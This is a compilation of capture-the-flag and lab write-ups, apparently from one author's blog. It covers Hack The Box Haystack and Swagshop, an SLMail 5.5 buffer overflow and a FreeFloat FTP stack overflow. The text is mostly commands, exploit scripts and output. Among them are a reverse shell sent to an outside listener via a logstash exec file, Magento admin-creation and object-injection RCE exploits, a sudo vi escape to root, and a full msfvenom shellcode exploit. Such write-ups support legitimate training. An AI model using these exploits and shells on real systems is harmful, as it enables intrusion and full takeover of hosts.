-rw-r-----. 1 root kibana 131 jun 20 10:59 filter.conf
-rw-r-----. 1 root kibana 186 jun 24 08:12 input.conf
-rw-r-----. 1 root kibana 109 jun 24 08:12 output.conf
bash-4.2$ echo 'Ejecutar comando : whoami > /tmp/user' > /opt/kibana/logstash_execute
<mando : whoami > /tmp/user' > /opt/kibana/logstash_execute
bash-4.2$ cat /tmp/user
cat /tmp/user
root
bash-4.2$

Next I did run a

bash-4.2$ echo 'Ejecutar comando: bash -i >& /dev/tcp/10.10.14.82/4444 0>&1' > /opt/kibana/logstash_exec
</10.10.14.82/4444 0>&1' > /opt/kibana/logstash_exec
bash-4.2$

and catched the root shell

C:\Users\jacco>nc -lvp 4444
listening on [any] 4444 ...
10.10.10.115: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [10.10.14.82] from (UNKNOWN) [10.10.10.115] 42972: NO_DATA
bash: no hay control de trabajos en este shell
[root@haystack /]# id
id
uid=0(root) gid=0(root) grupos=0(root) contexto=system_u:system_r:unconfined_service_t:s0
[root@haystack /]# cd /root
cd /root
[root@haystack ~]# ls
ls
anaconda-ks.cfg
root.txt
vmware-tools
[root@haystack ~]# cat root.txt
cat root.txt
3f5*****d92
[root@haystack ~]#

Credits to : https://0xrick.github.io/hack-the-box/haystack/

Author : Jacco Straathof

HTB – Swagshop

Today we are going to solve another CTF challenge “Swagshop” which is available online for those who want to increase their skill in penetration testing and black box testing. Node is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.

Level: Easy

Task: find user.txt and root.txt file on victim’s machine.

c:\PENTEST>nmap -Pn -sC -sV 10.10.10.140
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-13 16:08 W. Europe Standard Time
Stats: 0:00:11 elapsed; 0 hosts completed (0 up), 0 undergoing Host Discovery
Parallel DNS resolution of 1 host. Timing: About 0.00% done
Stats: 0:00:12 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 0.05% done
Nmap scan report for 10.10.10.140
Host is up (0.027s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 b6:55:2b:d2:4e:8f:a3:81:72:61:37:9a:12:f6:24:ec (RSA)
|   256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA)
|_  256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Home page
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.64 seconds

Based on the ssh and Apache Versions, the host is likely Ubuntu Xenial (16.04).

Website – TCP 80

Site is a Magento store for HTB:

1557609497532

Directory Brute Force

gobuster finds a bunch of paths, but all seems related to Magento.

root@kali:~/htb# gobuster dir -w /usr/share/wordlists/dirb/common.txt -x php -t 50 -u http://10.10.10.140/
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.140/
[+] Threads:        50
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php
[+] Timeout:        10s
===============================================================
2019/11/13 10:25:46 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.htaccess.php (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.php (Status: 403)
/.hta (Status: 403)
/.hta.php (Status: 403)
/app (Status: 301)
/api.php (Status: 200)
/cron.php (Status: 200)
/errors (Status: 301)
/favicon.ico (Status: 200)
/includes (Status: 301)
/index.php (Status: 200)
/install.php (Status: 200)
/index.php (Status: 200)
/js (Status: 301)
/lib (Status: 301)
/media (Status: 301)
/pkginfo (Status: 301)
/server-status (Status: 403)
/shell (Status: 301)
/skin (Status: 301)
/var (Status: 301)
===============================================================
2019/11/13 10:25:56 Finished
===============================================================

At the bottom of the page, I notice the copyright date of 2014:

1568274284636

That’s interesting, as if it’s that old, it should be vulnerable to a lot of exploits. Looing around at common Magento paths, I’ll see a different date on /index.php/admin/:

1568274514407

I can also check /RELEASE_NOTES.txt, but it only gives release notes up to version 1.7.0.2, and then it gives a url to visit for later version release notes, so this isn’t helpful:

1568274800685

All of this leads me to the conclusion that I don’t really know what version is running, but that I have a hunch that it could be older.

Shell as www-data

Add Admin Login

Looking at both Google and searchsploit, I’l find a bunch of exploits for Magento. First, I’ll use one called “shoplift” exploit to add an admin user. I’ll download the python script from https://github.com/puckiestyle/python/blob/master/magento_createuser.py  ,and run it:

root@kali:~/htb/swagshop# python  magento_createuser.py http://10.10.10.140
WORKED
Check http://10.10.10.140/admin with creds puck:iestyle
 

I can verify these creds by logging in at http://10.10.10.140/index.php/admin:

RCE #1 – PHP Object Injection

Now that I’m authenticated as administer, there’s another exploit that will come in handy that I found with searchsploit:

The authenticated RCE python script looked the most interesting.

For background on this bug, it’s a PHP Object Injection vulnerability, detailed by one of the researchers who found it here. PHP Object Injection is a class of bugs that falls under deserialization vulnerabilities. Basically, the server passes a php object into the page, and when the browser submits back to the server, it sends that object as a parameter. To prevent evil users from messing with the object, Magento uses a keyed hash to ensure integrity. However, the key for the hash is the install data, which can be retrieved from /app/etc/local.xml. This means that once I have that date, I can forge signed objects and inject my own code, which leads to RCE.

I’ll make a copy of the POC from searchsploit -m exploits/php/webapps/37811.pyIn the config section, I’ll have to update 3 fields:

# Config.
username = 'puckie'
password = 'style'
php_function = 'system'  # Note: we can only pass 1 argument to the function
install_date = 'Wed, 08 May 2019 07:23:09 +0000'  # This needs to be the exact date from /app/etc/local.xml

I got the date from the page as suggested:

root@kali:~/htb# curl -s http://10.10.10.140/app/etc/local.xml | grep date
            <date><![CDATA[Wed, 08 May 2019 07:23:09 +0000]]></date>

I  download the fixxed script from https://github.com/puckiestyle/python/blob/master/magento_rce.py

root@kali:~/htb/swagshop# python magento_rce.py 'http://10.10.10.140/index.php/admin' "uname -a"
Linux swagshop 4.4.0-146-generic #172-Ubuntu SMP Wed Apr 3 09:00:08 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

Shell

root@kali:~/htb# rlwrap nc -lvp 4444
listening on [any] 4444 ...
10.10.10.140: inverse host lookup failed: Unknown host
connect to [10.10.14.82] from (UNKNOWN) [10.10.10.140] 56756
bash: cannot set terminal process group (1289): Inappropriate ioctl for device
bash: no job control in this shell
www-data@swagshop:/var/www/html$ python3 -c "import pty; pty.spawn('/bin/bash')"
<html$ python3 -c "import pty; pty.spawn('/bin/bash')"                       
www-data@swagshop:/var/www/html$ sudo -l
sudo -l
Matching Defaults entries for www-data on swagshop:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on swagshop:
    (root) NOPASSWD: /usr/bin/vi /var/www/html/*
www-data@swagshop:/var/www/html$

I also can grab user.txtwith :

root@kali:~/htb/swagshop# python magento_rce.py 'http://10.10.10.140/index.php/admin' "cat /home/haris/user.txt"
a44*****ac8

Privesc to root

sudo -l shows I can run sudo with no password on vi in the web dir:

www-data@swagshop:/home/haris$ sudo -l
Matching Defaults entries for www-data on swagshop:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on swagshop:
    (root) NOPASSWD: /usr/bin/vi /var/www/html/*

I can also use the  example on GTFOBins, and get a shell from the command line:

www-data@swagshop:/var/www/html$ sudo vi /var/www/html/puckie -c ':!/bin/sh'
# id
id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
cat /root/root.txt
c2b0*****721

___ ___
/| |/|\| |\
/_| ´ |.` |_\ We are open! (Almost)
| |. |
| |. | Join the beta HTB Swag Store!
|___|.__| https://hackthebox.store/password

PS: Use root flag as password!

Author : Jacco Straathof

SLMail 5.5 BOF

SLMail 5.5 BOF

https://github.com/puckiestyle/python/blob/master/slmail55.py
 

result :

c:\PENTEST\BOF>python slmail55.py
Sending buffer...
\ Done.
root@kali:~# rlwrap nc -lvp 443
listening on [any] 443 ...
connect to [192.168.1.194] from IE8WIN7.home [192.168.1.59] 49169
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Program Files\SLmail\System>whoami
whoami
nt authority\system

C:\Program Files\SLmail\System>

Author: Jacco Straathof

Geef een reactie

FreeFloatFTP BOF

Free-Float FTP : Pop calc.exe via Stack Overflow.

Hello, today I planned to exploit a basic window application as the name suggest it’s a FTP (Free-Float v1.0) which is having a stack overflow in one of the parameters today we are going to use it to execute the shellcode and hopefully at the end of the post you will know how to exploit a basic windows application.

Requirements :

Windows XP SP-2/3

Kali Linux (For msfvenom shellcode generation)

Free-Float FTP v 1.0

So first we need to install immunity debugger, free float FTP on the windows XP machine.

This is how the free float FTP server looks like, while you are trying to ping a Windows XP machine you might not be able to ping it, because you need to disable the firewall to connect to it and exploit it.

Basic about FTP

There’s something we know as “anonymous user” on a FTP server which is much like the default credentials to access the FTP in this case it’s

anonymous : anonymous

Now let’s write a python script to connect to it.

So as the image above says my FTP is running on 192.168.1.100 and default FTP port 21

Python 2.7.1 (r271:86832, Nov 27 2010, 18:30:46) [MSC v.1500 32 bit (Intel)] on win32
Type "copyright", "credits" or "license()" for more information.
>>> import socket,sys
>>> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>>> port = 21
>>> s.connect(('192.168.1.100',21))
>>> s.recv(1024)
'220 FreeFloat Ftp Server (Version 1.00).\r\n'
>>> s.send("USER anonymous \n")
16
>>> s.recv(1024)
'331 Password required for anonymous .\r\n'
>>> s.send("PASS anonymous \n")
16
>>> s.recv(1024)
'230 User anonymous  logged in.\r\n'
>>> junk = "A" * 1000
>>> s.send('MKD'+junk+'\n')
1004
>>> s.recv(1024)
"500 'MKDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA': command not u"
>>> s.send('QUIT \n')
6
>>> s.close
<bound method _socketobject.close of <socket._socketobject object at 0x00A66D50>>
>>>

So from the script above we can see after supplying USER anonymous and PASS anonymous we tried to create a directory by MKD <name> and after exiting we got an error.

Here the name is the payload which was 1000 * "A"

Let’s check the status of FTP on windows XP.

So as we can see that it crashed it means we know that the 1,000 A’s are sufficient to cause the overflow.

So next up, we need to figure out how much data goes to MKD <name> to over-ride the ESP

So for that I am going to use msf-pattern_create to create a unique length string that helps me identify the offset.

root@kali:~/POP-Calc# msf-pattern_create -l 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

Let’s use this as a payload to analyze where it crashes and to get an offset.

Now this is where the debugger comes in play, we need to attach Float FTP with the debugger to look at the stack.

Run the FTP and attach it to immunity debugger.

Once it’s loaded this is how it looks

Pane 1 shows the registers
Pane 2 shows the current instruction
Pane 3 shows the HEX dump

Let’s create a skeleton script

#!/usr/bin/python
import socket
import sys
junk ='Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3A
c4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0
Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah
7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3A
k4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0
An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap
7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq'
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.1.100',21))
s.recv(1024)
s.send('USER '+junk+'\r\n')

After we run the program in immunity and hit exploit it crashes let’s look at ESP.

We see EIP as 37684136 that’s what we are going to use to figure out the offset.

root@kali:~# msf-pattern_offset -q 37684136
[*] Exact match at offset 230

So now we know what’s the payload for ESP override. But we also know that the overflow occurs at 1000 * A . Let’s change the payload a bit.

Updated payload looks like

#!/usr/bin/python
import socket
import sys
junk = "A" * 230 + "BBBB" + "C" * (1000 - 264)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.1.100',21))
s.recv(1024)
s.send('USER '+junk+'\r\n')

Let’s adjust the padding a bit and make sure EIP is overriding as BBBB

After adjusting the padding we get to know that EIP hits BBBB at

junk = "A" * 230 + "BBBB" + "C" * (1000 - 264)

Next up you need to paste mona.py to the directory where immunity is installed inside the PyCommand folder

Now we are looking for a jmp ESP if you look in the screenshot above we need to put shellcode on ESP where C’s are residing and jmp to it

so we used !mona jmp -r esp and we see this

 

Now we are looking for SHELL32.dll in this case I am going to choose 0x7cb32d69.

better

let’s find JMP ESP in running immunity debugger

Now we are looking for SHELL32.dll in this case I am going to choose  7514D63F

The shellcode can be generated by using MSFvenom

Let’s add the address and insert the NOP properly to make it pop the calc.exe

After adjusting the padding and nops we get :

https://github.com/puckiestyle/python/blob/master/freefloatftp.py

#!/usr/bin/python
import socket
import sys
#eip =  0x7c9c167d
#msfvenom -p windows/exec CMD=calc.exe -b '\x00\x0A\x0D' -f python --var-name shellcode EXITFUNC=thread
shellcode =  b""
shellcode += b"\xba\x4a\x33\x95\xec\xda\xc1\xd9\x74\x24\xf4"
shellcode += b"\x5b\x29\xc9\xb1\x31\x31\x53\x13\x83\xeb\xfc"
shellcode += b"\x03\x53\x45\xd1\x60\x10\xb1\x97\x8b\xe9\x41"
shellcode += b"\xf8\x02\x0c\x70\x38\x70\x44\x22\x88\xf2\x08"
shellcode += b"\xce\x63\x56\xb9\x45\x01\x7f\xce\xee\xac\x59"
shellcode += b"\xe1\xef\x9d\x9a\x60\x73\xdc\xce\x42\x4a\x2f"
shellcode += b"\x03\x82\x8b\x52\xee\xd6\x44\x18\x5d\xc7\xe1"
shellcode += b"\x54\x5e\x6c\xb9\x79\xe6\x91\x09\x7b\xc7\x07"
shellcode += b"\x02\x22\xc7\xa6\xc7\x5e\x4e\xb1\x04\x5a\x18"
shellcode += b"\x4a\xfe\x10\x9b\x9a\xcf\xd9\x30\xe3\xe0\x2b"
shellcode += b"\x48\x23\xc6\xd3\x3f\x5d\x35\x69\x38\x9a\x44"
shellcode += b"\xb5\xcd\x39\xee\x3e\x75\xe6\x0f\x92\xe0\x6d"
shellcode += b"\x03\x5f\x66\x29\x07\x5e\xab\x41\x33\xeb\x4a"
shellcode += b"\x86\xb2\xaf\x68\x02\x9f\x74\x10\x13\x45\xda"
shellcode += b"\x2d\x43\x26\x83\x8b\x0f\xca\xd0\xa1\x4d\x80"
shellcode += b"\x27\x37\xe8\xe6\x28\x47\xf3\x56\x41\x76\x78"
shellcode += b"\x39\x16\x87\xab\x7e\xf8\x65\x7e\x8a\x91\x33"
shellcode += b"\xeb\x37\xfc\xc3\xc1\x7b\xf9\x47\xe0\x03\xfe"
shellcode += b"\x58\x81\x06\xba\xde\x79\x7a\xd3\x8a\x7d\x29"
shellcode += b"\xd4\x9e\x1d\xac\x46\x42\xcc\x4b\xef\xe1\x10"

buffer = "\x90" * 16 + shellcode
evil = "A"*247 + "\x7D\x16\x9C\x7C" + buffer + "C"*(749-len(buffer))
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.1.100',21))
s.send('USER anonymous\r\n');s.recv(1024)
s.send('PASS anonymous\r\n');s.recv(1024)
s.send('MKD ' + evil + '\r\n');s.recv(1024)
s.send('QUIT\r\n');s.close

Let’s see this in action.

Now you can change the exec CMD = <whatever> and get the execution.

reference used : https://medium.com/@codingkarma/free-float-ftp-pop-calc-exe-via-stack-overflow-3be11ce23570

video :

metasploit :

Author : Jacco Straathof

Protected: Brainpan 1 BOF

This content is password protected. To view it please enter your password below:

Posted on